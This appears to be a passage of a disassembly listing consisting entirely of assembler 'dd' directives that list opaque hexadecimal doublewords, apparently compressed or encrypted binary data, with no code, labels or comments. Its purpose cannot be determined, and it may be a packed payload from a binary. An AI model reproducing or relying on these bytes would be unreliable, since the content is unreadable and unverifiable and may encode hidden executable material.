		dd 2FAC57D4h, 96230Ch, 0C9E797D3h, 409AB240h, 0CDE3061Ch
		dd 0C00087D2h, 62B8C675h, 39956304h, 16C0674Bh,	87009A43h
		dd 92796083h, 7909675h,	361AE80Ah, 81523410h, 58F18F4h
		dd 0A1EF2001h, 840A90Ch, 43B4914Dh, 90A10882h, 0A844887h
		dd 1D089140h, 99E488F5h, 2124044Bh, 3A580453h, 0F517030Fh
		dd 0BF190022h, 9FB639BEh, 6662F9D2h, 631157E0h,	0F8801024h
		dd 0A6B0286h, 4421B94Ah, 82D3F888h, 1AC44DFh, 70D2E567h
		dd 717FE41Ch, 58DAEC98h, 138F1E0Bh, 0A7400481h,	2215A059h
		dd 201C7098h, 8989C359h, 1344774Ch, 2C01970h, 23C35141h
		dd 85F70040h, 95898E12h, 0E9730405h, 9AB58D07h,	0B693EBFFh
		dd 9785C0B7h, 0D210D4AAh, 49068C18h, 0E1309D01h, 0D0FF3631h
		dd 0E7810166h, 890F6F40h, 1827BB0Bh, 0BA0D0586h, 3E943C3Ah
		dd 0C30E6A30h, 404CB899h, 17610CC2h, 30531BE9h,	203503E8h
		dd 89E4C35Bh, 22675C52h, 53431E17h, 19ED80C3h, 0C5BD01C6h
		dd 894A0761h, 0ECD18E85h, 90515791h, 301DF292h,	9100F050h
		dd 0F2FF2212h, 0C113DCFAh, 6D8D8B4Ah, 85985130h, 52335286h
		dd 0E4C35A30h, 0C5545389h, 0C3524280h, 5D0196E7h, 8BE6402Ch
		dd 0C84150D3h, 6A013235h, 0C658BD04h, 88C3581Ch, 40704489h
		dd 91C30050h, 90CDD929h, 1460E89Eh, 7CA3491Dh, 0B0B2F20Fh
		dd 0CD48007Dh, 0CAA0AA89h, 9F007AF4h, 802A5271h, 0A5A68E2h
		dd 1ECD958Bh, 1D190D76h, 7D7210Ch, 0D2BF6148h, 88544B50h
		dd 0D58ECF18h, 0EECC105h, 0E908A5D9h, 0AAEA8180h, 920D77D1h
		dd 0F9790119h, 0B966369Fh, 1D8F7F0h, 0CB02CA81h, 0FF567DE2h
		dd 8BFA90B5h, 950909D0h, 522E0C8Dh, 0C2711C6h, 7032F879h
		dd 8260861Bh, 10ADE8h, 28F99D89h, 66610CC0h, 3240EABFh
		dd 5682C08Bh, 0C35E6F90h, 744689E4h, 46001B22h,	6EAFC356h
		dd 18B06B5h, 8381C545h,	0B8164DBDh, 9751860h, 88112112h
		dd 50301974h, 0D2B87253h, 8D4CD007h, 0F23B910h,	0CCC49D8Dh
		dd 2BD3D4EBh, 1022585Bh, 0C4204317h, 265B5B3h, 36D2C9DEh
		dd 5609E1E1h, 0F198493h, 0E8D3128Dh, 76034FB8h,	0F2E70117h
		dd 0E0B92F88h, 0FEEAF03h, 0EE95Ah, 7D08E625h, 0ABF9B3EAh
		dd 873FE300h, 997C7577h, 0BD851BC7h, 319E6601h,	718D890Ch
		dd 0ED29142Fh, 680D02FFh, 0CEE4E7B8h, 21D5EF83h, 0CF85C70Eh
		dd 0D031D039h, 8F0651E2h, 88DBD433h, 1DEE54C0h,	0FA370EA0h
		dd 95508AA1h, 50974536h, 3240C51Bh, 74C0390Bh, 32D88B98h
		dd 0EC4409EAh, 1F09A4D3h, 0CD388366h, 0EDEC0A75h, 5688190Eh
		dd 251D22A1h, 0F88317F1h, 358873E1h, 0EC92FB1h,	800911ABh
		dd 742CF9BDh, 1044851Ah, 0B5BA0E66h, 1A0CE971h,	0CC50B112h
		dd 0D724CFF0h, 9081579h, 2C3AB70Eh, 8066B163h, 0A159C3C4h
		dd 85AADDFDh, 1C5746EEh, 8988C35Fh, 4114C47Ch, 6FC35747h
		dd 40CD1360h, 0CEE4B91Eh, 0DC7B6724h, 6E8E0F0Ah, 0E860F919h
		dd 0A5001E22h, 24692AF1h, 5C00FB23h, 7E2E410h, 60E9D2F2h
		dd 429B2711h, 0BE000F22h, 19B73336h, 0E5A0E0C8h, 33DA91D0h
		dd 0F585A75h, 0BA89D0F2h, 24BABB88h, 99A60920h,	82D15D84h
		dd 0E266ED05h, 5D1C5546h, 6C8988C3h, 45401CC4h,	0CFEBC355h
		dd 0E895B700h, 2047F138h, 92A5B003h, 0FF6A262Ah, 1446748Eh
		dd 0FC578614h, 0CA810622h, 5907C60Dh, 190936h, 0EEB6B2DBh
		dd 453DB40Ch, 41620748h, 0BCAC0C6Ah, 1F00A0FCh,	0C78AA236h
		dd 1410EB21h, 863B6E9Dh, 945AD314h, 207C910h, 15BCECBAh
		dd 0FE0D4018h, 0A7EB59F9h, 0A63A38E8h, 0C3B8112h, 0B2BC50F3h
		dd 416D7664h, 2B04640Eh, 42CA4282h, 49E5643Dh, 677CCF88h
		dd 880B8CFBh, 465C4C4Ah, 457F001Ch, 2C5F2E41h, 61D817CAh
		dd 51D0889h, 0B5295002h, 0ED01647Dh, 0D17D7EA1h, 2C011816h
		dd 112D4632h, 862B495Dh, 0FCE25A57h, 2377FD25h,	12825AA0h
		dd 0B67AF50Bh, 0C1B990E9h, 11A3138Ch, 310C0BB1h, 79858703h
		dd 0F680CF09h, 8878A5B4h, 1923A83Fh, 15516400h,	4C141D91h
		dd 0F2093760h, 830208BDh, 610516C9h, 0F48E7B25h, 60CF1A88h
		dd 482D9F06h, 0EC6248E5h, 20E9FE16h, 0A8689E50h, 0BB63BD00h
		dd 0BAD96F7h, 0F97C0155h, 132E4DEEh, 0D19C85A3h, 0BA0D33FEh
		dd 44EEF79Ch, 5058442Ch, 1DD1F8B1h, 0CF004F18h,	63EC144Bh
		dd 39B9C898h, 0B256B689h, 40DCE824h, 0C93890B7h, 50F6C707h
		dd 8DD256D9h, 812E5045h, 8761B5FAh, 0BC621A4Ah,	68617D5h
		dd 8B0B5B94h, 1103A1BDh, 60134B6Ah, 3F2DC8CCh, 2477300h
		dd 39CB53AFh, 0D90C0009h, 0FA9F1D0Ah, 960451C7h, 50612117h
		dd 3C7CB6CCh, 0C0003CD6h, 7464844Fh, 0E73983DDh, 6CCC8A54h
		dd 0C64C7109h, 5C0656A5h, 29CA8B01h, 42313D85h,	8127985Eh
		dd 12196590h, 11668167h, 85810FE8h, 0B7DC3E62h,	0F3AAF418h
		dd 8A631601h, 0DDC5891Eh, 0E4CE7120h, 0B150125Ah, 4B6B29D0h
		dd 0C01D8837h, 0CA07AA76h, 84E2A138h, 0F835FA25h, 2F450EC7h
		dd 0E8E6E64h, 0BBC01788h, 35539721h, 91198A0Fh,	172725D7h
		dd 0E3251A65h, 7BE15F03h, 0FFCCB4ABh, 957E00A5h, 31514899h
		dd 29784364h, 0BC02AD24h, 0F19E5A0h, 60312781h,	7BD373h
		dd 523E80C3h, 97AE0821h, 0D0F9B601h, 0CE830F5h,	0CDC02780h
		dd 0BDFDBB11h, 764DA600h, 58FED928h, 65B4AC61h,	28277889h
		dd 0A40ABF8Eh, 2A2B7F52h, 8D5C4680h, 0FE112CDCh, 0CBC80B3Ah
		dd 0CE022B9Ch, 9D82E16Eh, 2D818C85h, 480E518Dh,	8088298Ah
		dd 24C059CAh, 0D94CBD3Fh, 51B101A3h, 4C49590Fh,	0F2007188h
		dd 0FFB04F2Ch, 382470h,	4C83D46Dh, 0C0742922h, 0B8FE2019h
		dd 56AC908Eh, 0C200F413h, 0E9081207h, 484B75E4h, 110D8DAh
		dd 468171Fh, 1D168859h
		dd 2085BA2Ch, 6DAF21FBh, 0FCF20626h, 132E5061h,	0F0FC4524h
		dd 80883101h, 0FAF86FD1h, 8A128395h, 118608EBh,	67A1F78Fh
		dd 62D36FABh, 3ECE16EEh, 7D7F03F2h, 8DA947C1h, 5A3F83BDh
		dd 0BFC0855Fh, 0E4BC9339h, 0E10CB4h, 51C91A03h,	0EF815540h
		dd 84713409h, 11594525h, 0A2CE534Ch, 51F73016h,	17BAE607h
		dd 0E9A12C01h, 284E1488h, 8CC31988h, 0C9F2F711h, 0B90B50ABh
		dd 33374695h, 0B0DE830h, 0C59896h, 0A3B11726h, 0F669FCA4h
		dd 0F86BF20Dh, 0AED425Fh, 46847A41h, 0C1AC8C14h, 39429000h
		dd 87B9AE32h, 8CF73C01h, 30CA1402h, 0EE827A7Eh,	440CFABDh
		dd 644840Bh, 8AB1070Ch,	0B9BF03B4h, 20F82249h, 0DCAA4524h
		dd 4D16392Ch, 9EB201E1h, 82A86090h, 4C50C9BFh, 0B935A33Bh
		dd 280415D9h, 3D44848Bh, 0C58D1233h, 4648220Ch,	958B5221h
		dd 5F39DE22h, 0C7332AB4h, 0B06146Fh, 26E41860h,	0DAF700AFh
		dd 0F595621Bh, 7900F363h, 0D2514B3Ah, 80F9CDB8h, 61F4A2E8h
		dd 962F6EC8h, 6E040650h, 7E451614h, 0C9A5DA20h,	111D506Bh
		dd 7851511h, 3D9E046Bh,	0D0B9000Dh, 907E628Fh, 3A520AFh
		dd 0D7EA8002h, 7010C483h, 0D1B727A0h, 0D311FB1Fh, 9D17FEFDh
		dd 1610258Bh, 210C7341h, 88F577DFh, 0C1BD1989h,	0DA81220Ah
		dd 6F0A1244h, 0FE616572h, 0C73DA41Ah, 60174496h, 496A967Ah
		dd 0ED837CFh, 4286FC5Dh, 40B5467Eh, 0C6120CB2h,	2E40E585h
		dd 184F6844h, 34964EA3h, 15FDB7E2h, 892CD88Bh, 948432D3h
		dd 247BAE81h, 0CE710874h, 42280649h, 1000565Bh,	39F3D181h
		dd 2A290738h, 9CB4E18Dh, 620B670Ch, 127B3135h, 0E8E58225h
		dd 741778F1h, 0C34D530Fh, 0D83015F2h, 416ABA4Ah, 95C4602Bh
		dd 60A41913h, 310544CBh, 22194D8Dh, 0A251DCADh,	3BDAF81Eh
		dd 0FD576029h, 0E41B9930h, 8D8B4120h, 5052811h,	40289AFh
		dd 0A4FB072Dh, 1641496Bh, 0D2DF1FAh, 0F328FEB7h, 48B68312h
		dd 391C7A0Dh, 99F86720h, 521364E4h, 0A824D02Ch,	0C426B94Bh
		dd 16115B73h, 3AF21A30h, 0D8E40016h, 0F897D0ABh, 7D0007B3h
		dd 44E773DFh, 98321EA5h, 4A63014h, 0B8C68032h, 691AC90h
		dd 0C81FD4F9h, 0BD3474D4h, 0CC84F339h, 86A0DAE5h, 8012F687h
		dd 0E12E8501h, 3F94590Bh, 8704659Ch, 0CB2D07E3h, 7B0BD880h
		dd 42C977A6h, 7970C4A9h, 601B440Fh, 8880A8B1h, 0ECE0E4DEh
		dd 8A09008Fh, 9C3717FCh, 0F375ED7h, 61062782h, 2A2524A4h
		dd 9F66499Bh, 4656B49Ch, 0AB880215h, 4AB58529h,	4471C4B8h
		dd 6F92600Eh, 2DA089F4h, 6E62C480h, 53A0858Ah, 2CDAD80Ch
		dd 0B00D68BAh, 489EF94Ch, 2F45A041h, 0A2046B44h, 6023195Dh
		dd 0B34D7A33h, 20144A61h, 76028C96h, 0E14E9705h, 33F3E567h
		dd 111BB126h, 30092E06h, 5F18D42Ah, 956FFA8Bh, 16246999h
		dd 9E676732h, 0FF601844h, 17FA4926h, 0B1952312h, 0AA05D484h
		dd 9B3A50CFh, 0B0C1523h, 8801C8D7h, 9D2409F9h, 6A9F0AA5h
		dd 0A83F891Eh, 70CD0817h, 0B2380AFEh, 98C17BCh,	0A9A47ED2h
		dd 21B59602h, 1FF6801h,	65FCBB42h, 41339A73h, 6C70FF7Bh
		dd 0FDBEA0F5h, 0CA0A82FAh, 0E14449A3h, 695FBF06h, 452C4CE3h
		dd 0C64460D3h, 0E2755052h, 7F6D3015h, 0E5EAB905h, 41B33E31h
		dd 5D10574Ch, 8A5B7C04h, 0D1BD4D20h, 0FD50812Dh, 383F1013h
		dd 0DBB2007Eh, 0EF9BE7D0h, 4E3B3B2Bh, 5EBE823Dh, 0C243840Ch
		dd 51A292D7h, 1691014Dh, 0C078F001h, 8000864Ah,	0D7AAE69Bh
		dd 49A85A3Bh, 5F26217Fh, 3F8C1201h, 71723C2h, 0C9122B48h
		dd 12B2FD09h, 2671BB82h, 77A94A0Eh, 3B27F188h, 19C5F924h
		dd 476081A4h, 661F9CD4h, 4F04B813h, 12009484h, 3E4977BAh
		dd 25BAC42Ah, 0B221F327h, 9E0A301Ch, 9DEADF00h,	0ED667270h
		dd 56102BAh, 12B677B2h,	374B6986h, 1B449087h, 364F160h
		dd 0E0126F02h, 90E8CE0Ah, 95856FDh, 0C1B440EAh,	0F2003364h
		dd 0B0CE3709h, 0F6D064h, 0AEFE9E1Bh, 0E7ADFA6Dh, 0AE5A6E28h
		dd 0FD1FA131h, 0A122F910h, 646A44C8h, 1D465Ch, 3B06E5E4h
		dd 4770A5Bh, 8BDA45FEh,	0C8AB9CCBh, 58AAE952h, 7C0DE30h
		dd 446DA8B8h, 9F673A6Bh, 0C8B21D24h, 90E113FBh,	0C19D01C8h
		dd 680E1C6Ah, 0F6BF66C0h, 7AF5A274h, 40999676h,	5EDF72ABh
		dd 0CF52E370h, 0D0C22D6h, 1861BD01h, 0D5D26054h, 382BCCBCh
		dd 190AE26h, 1EA3DC69h,	2084499Dh, 24CA8166h, 0C9437388h
		dd 660021E4h, 237BC62Fh, 65D1B9C0h, 4590AE42h, 99174931h
		dd 29F7368Dh, 81002BD6h, 467670F1h, 216F931Eh, 8F133B6Ch
		dd 0C9038906h, 95C18525h, 352711F9h, 3EC5B1B8h,	8BD38242h
		dd 468068CEh, 2B9930D4h, 880F03F3h, 9624E291h, 246E5C60h
		dd 90BB00AEh, 8DA72BCh,	8F3430A1h, 87A2568Dh, 0D50C4503h
		dd 0CEE48818h, 0C01DC8E0h, 0E3C21471h, 0D501C476h, 2908A3F5h
		dd 1A247DBDh, 452FD668h, 0A517C1B1h, 2861735Fh,	0CD6A3CEh
		dd 1723703Eh, 0E298AD01h, 402BE9B3h, 0DD9E1814h, 0F9074A75h
		dd 0D28985BCh, 72482400h, 83CA0A2Eh, 8C0FFF8h, 810004F1h
		dd 0EE613CC9h, 0E5D4A367h, 4F854CE4h, 12ED1D8Ah, 8E210CEh
		dd 1AE20224h, 9542AFDAh, 0F59FA081h, 0E152805Ah, 438AC0BFh
		dd 449DFA03h, 62D0D00Eh, 0F2349894h, 1C5083EFh,	2F449D19h
		dd 516058C0h, 57120222h, 0B38F615Eh, 43FED888h,	1D95B7D8h
		dd 0FDA0F4F7h, 95120135h, 1B042D92h, 0D6B80B21h, 0B1198E89h
		dd 28890982h, 0DA4C0AB5h, 86B36CA4h, 390F2178h,	0B792ECC7h
		dd 72C19DCBh, 301CB211h, 7F009C5Fh, 0A97349FFh,	48193F4h
		dd 0BD90DAC7h, 0D3F78247h, 32CD9F82h, 0C8940F64h, 9B96604Fh
		dd 2411ACh, 0AF8D8CBh, 881DDDF6h, 0A7096D7Ah, 469B3656h
		dd 0EA8BF2D6h, 0A6B62E5Fh, 0CE4B6FE3h, 19444316h, 1E0459B5h
		dd 68955099h, 99B1722Ch, 1D4DF228h, 96184D7Bh, 0BD51A467h
		dd 0BF100ADDh, 719850C8h, 0A776D716h, 0E1B22061h, 291C1E66h
		dd 28065685h, 913ABF04h, 292C852Fh, 0DE0B19Dh, 0C5853EC7h
		dd 5FD66D4Ch, 960B935Fh, 0CD9643CDh, 9401DC89h,	932C5D2h
		dd 8269062Fh, 8C9332FDh, 7B15878h, 7877B49Eh, 0AB0F0BA1h
		dd 48B0F85h, 0AD016A51h, 6CB8EDh, 0F93C4667h, 0BA0E072Eh
		dd 509B3B98h, 759D0904h, 9C8AEFBCh, 0CAB742CFh,	80CA1593h
		dd 0F80A2F5Ah, 0EB659D31h, 82C96CA6h, 5B2C0DFCh, 74B32C07h
		dd 7A011946h, 0B96C9C7Eh, 48131E5h, 88A0E3D3h, 78BA813Ah
		dd 25630420h, 0E33E2A4Ch, 13011623h, 0C88A9823h, 0C20F96Ch
		dd 7049D8B4h, 6AA3499Bh, 2DB293h, 7ACE21E0h, 0E4A59DD1h
		dd 3BAB3C11h, 4D3DEC80h, 0D635A07Bh, 9529BB09h,	5964C015h
		dd 2E859050h, 529C1155h, 55F16385h, 0C29780ACh,	80450432h
		dd 0C80AB42Ch, 0E5C9E118h, 6018E489h, 2CEB6A2Ah, 8353023h
		dd 0EB280799h, 961D6120h, 1E4440B4h, 4D74DE83h,	38202A00h
		dd 4EF10179h, 57DF315Bh, 0A5326942h, 94AFC1EFh,	0D4521F33h
		dd 0BC8CC59h, 57193C80h, 0E6B64ED2h, 7F730BD7h,	0ACB8F50Ch
		dd 8B880288h, 38C9F4CAh, 2FCBFFF6h, 1A2328h, 0F5E18CDFh
		dd 794EB617h, 1289248Ch, 0A210958Dh, 830B32A6h,	9208518Fh
		dd 0F12D88FAh, 0F3152B00h, 0ABFBB08Bh, 2E85EAD5h, 45F82DCDh
		dd 1EAA5E8Dh, 428E66A3h, 82091215h, 52FDA25Dh, 8024F044h
		dd 0FC0BF181h, 5155FBCCh, 0E88A8B52h, 0AFB71289h, 2BBDA080h
		dd 0C4113E31h, 0F28E1EEh
		dd 356563BFh, 80580B59h, 5B51F4D9h, 3EBA6680h, 25F38B78h
		dd 0BE6A8D01h, 285C4D12h, 0DE9A01DCh, 0B248E4C6h, 0C483CBB5h
		dd 830FE013h, 0C41ECF72h, 0B9D695BFh, 0C11D6C83h, 0F2B9E067h
		dd 3904148Bh, 0AA905D5Ah, 0D644D3Ah, 813E8CC0h,	4048D200h
		dd 84194BE2h, 0C4342EFEh, 0D9477EACh, 8117D9F2h, 0D72D0DBFh
		dd 0EFA26038h, 82B72134h, 4DB8CAADh, 3BA72F12h,	125DDE04h
		dd 0F7CF4013h, 0D88B837Eh, 0BF992C4h, 0D194530Ch, 39F6296h
		dd 434C74F9h, 20066C6Fh, 86ECFC86h, 850F5B15h, 14E69DE2h
		dd 0C0F8EDA7h, 8EBADCD3h, 0B5E2514h, 0B5EB44A8h, 994B294Bh
		dd 0B15859F9h, 39174h, 0AD50A7B1h, 20EDE098h, 8A0BE2A5h
		dd 4D606AD5h, 3CECC03Ah, 0A3978D29h, 0A2806020h, 22F61FAh
		dd 2A48B711h, 90B7F810h, 862D74CBh, 0E0406DD6h,	0F5019556h
		dd 8B403763h, 850843CEh, 0E93114A2h, 9CE1E8CFh,	4A07EC0Dh
		dd 25D3C85Fh, 0D0037703h, 8668261Fh, 0E9C0A087h, 6953812Ch
		dd 25CCB901h, 0BCAB8C7h, 0B9D473FEh, 8CA67659h,	0A4C2AC09h
		dd 3EB72DD9h, 745DEEA0h, 6D471416h, 8202D6B0h, 8107126Ch
		dd 9B1A17C1h, 0C0DAC838h, 0F818408Bh, 0C925C77Ah, 404E1A19h
		dd 0B926EDFEh, 411AE47Bh, 8C3D95B5h, 8860FA4h, 0DD4201A3h
		dd 29590910h, 3DF78A02h, 8B18A496h, 0EA092054h,	4DC65E4Eh
		dd 7BBCB83h, 80D0DF04h,	44E3B5EEh, 31F39556h, 60876BF0h
		dd 0BC4091B6h, 390DEDF0h, 74B592h, 0F7972591h, 776A2ED2h
		dd 0FD8B5E0Bh, 783990E9h, 1D8978AAh, 40F373ABh,	0BF265D40h
		dd 460D973Eh, 0B48CB161h, 14A23833h, 7470D731h,	520540B9h
		dd 0F5126DB0h, 5EA65907h, 1F0BC6A1h, 2E0BC684h,	14A26753h
		dd 0B857B630h, 13D12040h, 0B9665F06h, 0B9BE0BF4h, 181579A1h
		dd 1CF45C8Fh, 3AF6D31h,	0F1EADA95h, 2D1AA971h, 0A148F035h
		dd 5BF2A583h, 2B188D1h,	17CF303Eh, 0CC08870Fh, 2124500Dh
		dd 0E7590340h, 0B2196B32h, 2016CD7h, 0F1962C0Dh, 0EE530E64h
		dd 0B17E8356h, 78A8BAECh, 32411E0Ah, 9A6D2781h,	0BD4FEFC0h
		dd 678402F0h, 889AF3EEh, 0D005E46h, 0F005E4B9h,	168633Ch
		dd 846A1DF7h, 23B3DE91h, 7DDF12Fh, 7DD841Fh, 0F88B012Eh
		dd 5F6BB650h, 0E9F97A82h, 0DF640252h, 97133E3h,	6DEC038Ah
		dd 277FE0C0h, 0DA14809Ah, 80F5E859h, 9F9D737Dh,	5AC1F27Ah
		dd 8217C224h, 6040B86Ah, 0DE1258DFh, 2C3367E9h,	929010C8h
		dd 62E9201h, 0ED001923h, 72C09650h, 0F2810716h,	29BF17A3h
		dd 246D1182h, 0E5A94005h, 3102BDB8h, 0B7515698h, 10F15CF7h
		dd 7C6F4204h, 346AD319h, 0E25575CCh, 226858A8h,	0B0C1256Dh
		dd 7F8111Dh, 99621660h,	0DB8C01F1h, 2004C3F6h, 5E8AFC89h
		dd 6856601Dh, 0A823B852h, 46AC29Ch, 710DEC1h, 0FB816476h
		dd 42F5B691h, 6847032Dh, 0EC18AC9Bh, 8B048A79h,	4F401EF0h
		dd 7B266168h, 6536BD2Fh, 0ACF15BA1h, 280C227Dh,	29851856h
		dd 807575C0h, 64986841h, 3EBDDB87h, 60E2B8Fh, 684C0368h
		dd 8092E7A4h, 8B2920B4h, 123F889Dh, 9382045Bh, 1554AEFAh
		dd 3C78415h, 43D8B9F5h,	702500Ch, 30252685h, 6146CB93h
		dd 0CA2E47D0h, 114A8BB5h, 45426721h, 0A5B6C068h, 3930CE92h
		dd 66F6FC14h, 280C026Ah, 9B3275C2h, 0A1B46860h,	0C8CD44Eh
		dd 1825D8B3h, 96B5DBh, 9AEAC281h, 31603316h, 1DFD8513h
		dd 4155A4A4h, 33977003h, 1EC3A20h, 0B10163BAh, 43E9500Fh
		dd 1BD85D56h, 6D005F35h, 4F19C4E1h, 5F0F7E47h, 85F8C88Bh
		dd 14080920h, 7435FF64h, 9D1E9C4Ch, 2589CDD4h, 0B29163FFh
		dd 88DC3015h, 82695EBCh, 7A07CD5Ch, 80278075h, 0BA8402EAh
		dd 7686F93h, 1EDDF360h,	3700418Ah, 0F28209C2h, 295221EDh
		dd 413C92BDh, 89132407h, 32751E9h, 760EB280h, 1185420Ch
		dd 218D0B20h, 1E78828h,	48B53DC9h, 0B8DB335Ah, 0A50D44EFh
		dd 18725A00h, 977769AFh, 8BC10B59h, 1E056E9Eh, 89D32075h
		dd 31637195h, 8E60C045h, 297E8094h, 0F08154B5h,	309DEE61h
		dd 400F2EE5h, 7093F0Fh,	188F640Bh, 4BC48390h, 8DF31104h
		dd 6B6E4Ah, 7084BAC9h, 5C831F09h, 457863FBh, 4281D930h
		dd 1BF16039h, 458D0182h, 9DBB002Ah, 0C3CC0A7h, 9D402A61h
		dd 54009486h, 161C69B2h, 1FEBFE6h, 0A1C695DDh, 9279E906h
		dd 81F15625h, 0F159CD93h, 0BC09EBAEh, 0FA81C70Ch, 3FF6748h
		dd 15B8A683h, 0C3AC0450h, 305C8B31h, 29C2E855h,	0A8A8F0D5h
		dd 0A2838B93h, 5B9F821Bh, 4D89053Bh, 944F5D0Ch,	0B48506FEh
		dd 27C0B9DBh, 587A4F16h, 8DE23E58h, 47F974Bh, 161CCD54h
		dd 0FD9D8305h, 61599A90h, 78C5B350h, 0C5E6B4CAh, 40893F2Fh
		dd 2EDBBADFh, 109C2337h, 0DC613212h, 11F2280Ah,	422E6204h
		dd 13096EF8h, 2D53ED80h, 0CD6A3A08h, 1427B17h, 5B6FA68h
		dd 0B84240B9h, 5526D704h, 81004748h, 65BB0DF7h,	868502D4h
		dd 34B640BAh, 0E8228355h, 0ED0C3B5Fh, 5868FB82h, 0CEFE564Dh
		dd 0CA28E588h, 2EFC71A2h, 5C68D920h, 86C8000Fh,	0C08B9816h
		dd 9AB59529h, 4262E790h, 0AD10043Dh, 2B218405h,	201C72B9h
		dd 28B5CC23h, 1269279Ch, 0A900A1ECh, 7BDEC991h,	181E3BDBh
		dd 9AFC4FC8h, 88AA3AE9h, 2E31F410h, 0F0353838h,	45C001ADh
		dd 1656378h, 6F697470h,	0CD49206Eh, 6D72D866h, 410C6151h
		dd 0E5656C15h, 202CCC73h, 641D08DFh, 0BE68744Fh, 8F6C3673h
		dd 0F3697733h, 0D363F367h, 7D73FB64h, 2DF7F328h, 5C6B4061h
		dd 2A2EF6C7h, 20196D74h, 6B166854h, 75ED79D9h, 0DF0D0AFCh
		dd 8C01E904h, 73467028h, 544362C0h, 0EB2B4C52h,	9ED166FFh
		dd 97CD1E69h, 8FB1A064h, 517970A1h, 0E5696C08h,	7261FC62h
		dd 36296428h, 65564280h, 99A473FAh, 25FE3DFEh, 431E94F3h
		dd 6B630587h, 0F484E49h, 554FE164h, 3F501C54h, 1DD16F72h
		dd 3B680F0Bh, 0DE6C80Fh, 0E3D7469h, 0DE1E420Fh,	688E5054h
		dd 0F8E91E18h, 104910CCh, 12D84E9h, 0E3880512h,	8AB3ACB3h
		dd 6819074Dh, 95708025h, 2419D9F3h, 7E031E2h, 2C075A19h
		dd 61164CD0h, 0C2C324A2h, 4AC26559h, 250A12B1h,	73C4F021h
		dd 0C4FC216Bh, 4106BC0h, 35DEB23Ch, 0C78843B8h,	85F477D6h
		dd 0F8ACCF91h, 0A9D61087h, 41B10C18h, 6EA2F90Bh, 22810621h
		dd 579511EEh, 2501E40Dh, 0AB2007C9h, 8163C519h,	0D8B1AFC2h
		dd 8D857838h, 187BB295h, 40283452h, 3BD42EC3h, 2FD909FAh
		dd 0C444D4Bh, 628A5540h, 0C31322F4h, 0A621F84Ch, 42118C65h
		dd 0E4F02150h, 1EFC2254h, 43705842h, 485C883Ch,	53DC4AF0h
		dd 0AFB40DEAh, 0CD056845h, 210C5A26h, 0F4103BF8h, 43122ADCh
		dd 0A1F021FCh, 490A2888h, 1E851CE6h, 0D907423Ch, 0CDDEE913h
		dd 656A2458h, 2D082440h, 0DE383919h, 0A8A60112h, 0E260C112h
		dd 301AF2FFh, 8E010C88h, 322D39E7h, 5D7BD68Bh, 0EF86121h
		dd 0EC28F04h, 661F1704h, 0B77025FBh, 0CC1803F6h, 0B44E83B2h
		dd 0E6801B9Bh, 0F987A1A9h, 7AB25702h, 71CF8BADh, 41304406h
		dd 7EB7BE66h, 0E952046Fh, 6B30F1A6h, 5300DC6Eh,	0C8C5B238h
		dd 0B70919DCh, 71DF8CAFh, 7443007Eh, 0D86677E2h, 0EB4F0D1Dh
		dd 4C7F744h, 9D678F92h,	8F14913Fh, 0DCD680E2h, 685F8699h
		dd 91C41DBFh, 4D190007h, 6E939D1Fh, 0EA810011h,	10C18C01h
		dd 0E9A0595Eh, 0EC4E42CFh, 0B72A0D6Fh, 73C80136h, 3A6F5B7Eh
		dd 80606C61h, 3F52A4A9h
		dd 0B8B057Ch, 870FBBh, 935A5956h, 0BA45250h, 90B531ECh
		dd 0D99A630h, 2A10C2FBh, 585AFC2Bh, 0DB06BCE5h,	0E71888h
		dd 0E994EC37h, 9C183988h, 0F1CEA600h, 6080859Dh, 83564FD9h
		dd 784B5E25h, 15E3E9B6h, 4B8F4007h, 54E9C754h, 7A702517h
		dd 0B0447A25h, 705ABE85h, 963A48F9h, 0CA6E8B12h, 5E2B5E8Bh
		dd 72001C23h, 8839180Ch, 13AA7069h, 0E6C48B8Ch,	7855E0E5h
		dd 0CDC909AFh, 7D5BEB01h, 802BE679h, 92AEEB4Fh,	1F0CE831h
		dd 0B6C0B4F1h, 18A20EACh, 656628FFh, 0EE712C01h, 615F6F09h
		dd 0C2EC68E9h, 600C00FAh, 750940F5h, 0A69C4FDEh, 9757FDCh
		dd 0B1867D4Ch, 0CE007A64h, 8077AC21h, 748FFC62h, 649B4B99h
		dd 216EAAFAh, 39BE323Fh, 81228793h, 300BF91Bh, 726B84E0h
		dd 8030512Ah, 55D9A1C3h, 0D8BC61F2h, 72D4BD86h,	1234C824h
		dd 800AE888h, 0A41DE1E4h, 471CD2C6h, 6002DDCBh,	72B85961h
		dd 0F28B0B5Fh, 0EE44E7FFh, 7BDBBB00h, 973AFD26h, 0C3B90462h
		dd 0F0570238h, 789E1085h, 40B60F60h, 0C8FE2001h, 0A2D6B045h
		dd 785F0212h, 61BA057Fh, 31684A1h, 0ABD1C9E8h, 0E7B060CBh
		dd 720E1B01h, 7C0BF2Ah,	2FDB3E7Bh, 0F6D22868h, 42D69496h
		dd 8EB9F50Eh, 4CE69BB8h, 0CB896C06h, 83B4D94Fh,	0F5FA988h
		dd 8823C2DDh, 511B3F00h, 696D1782h, 98A30504h, 0DB0E4F08h
		dd 0F95F26E3h, 613DC7B0h, 818BF497h, 25B9AE94h,	0E2800018h
		dd 37FF3AD8h, 5EF2D289h, 81C32200h, 0D71D8CC6h,	0F6812265h
		dd 1757336Eh, 2EF2271h,	78975412h, 8A46524Dh, 91082A13h
		dd 580035B7h, 0B7CB8156h, 7B1F83D0h, 0D35E078Fh, 9E7FEF80h
		dd 6FB33B02h, 11F8AC14h, 0E10BBA66h, 61E98399h,	82161CB0h
		dd 2960C67Bh, 8056B911h, 91D400CBh, 0A070BB4Eh,	1200F810h
		dd 88205A43h, 0CE3624B6h, 0FB02D2FEh, 0EBD084E9h, 0B22BA800h
		dd 0CF4993E6h, 837700A5h, 0C9E54581h, 0CC52AE37h, 2F60E004h
		dd 1710C0ACh, 5BA62125h, 21CD4637h, 0CE954980h,	3D5E0708h
		dd 0C0C58ECFh, 836A6B47h, 0E8ED3906h, 7848A675h, 64847C8Ah
		dd 8C12818h, 0CD537E7Bh, 0E8EC0350h, 2854776h, 0A0345821h
		dd 0E4E070F2h, 7963CD50h, 18BE7618h, 41216139h,	0CD3070B8h
		dd 34C718D9h, 3239C3A4h, 510E7630h, 405FA9D4h, 0CE7391AEh
		dd 0E88600EDh, 5C8150D0h, 890CD6ADh, 91E63233h,	0BF172A1Ch
		dd 25F098h, 4753904Ah, 0A42043CAh, 0BCBAA70Ch, 1D83E040h
		dd 11224D5h, 9186A8B2h,	0DE199F69h, 0A65BF587h,	7EB954E0h
		dd 0E7C40775h, 0C0FDCDA9h, 78472538h, 3F1F9A00h, 0E3D092E4h
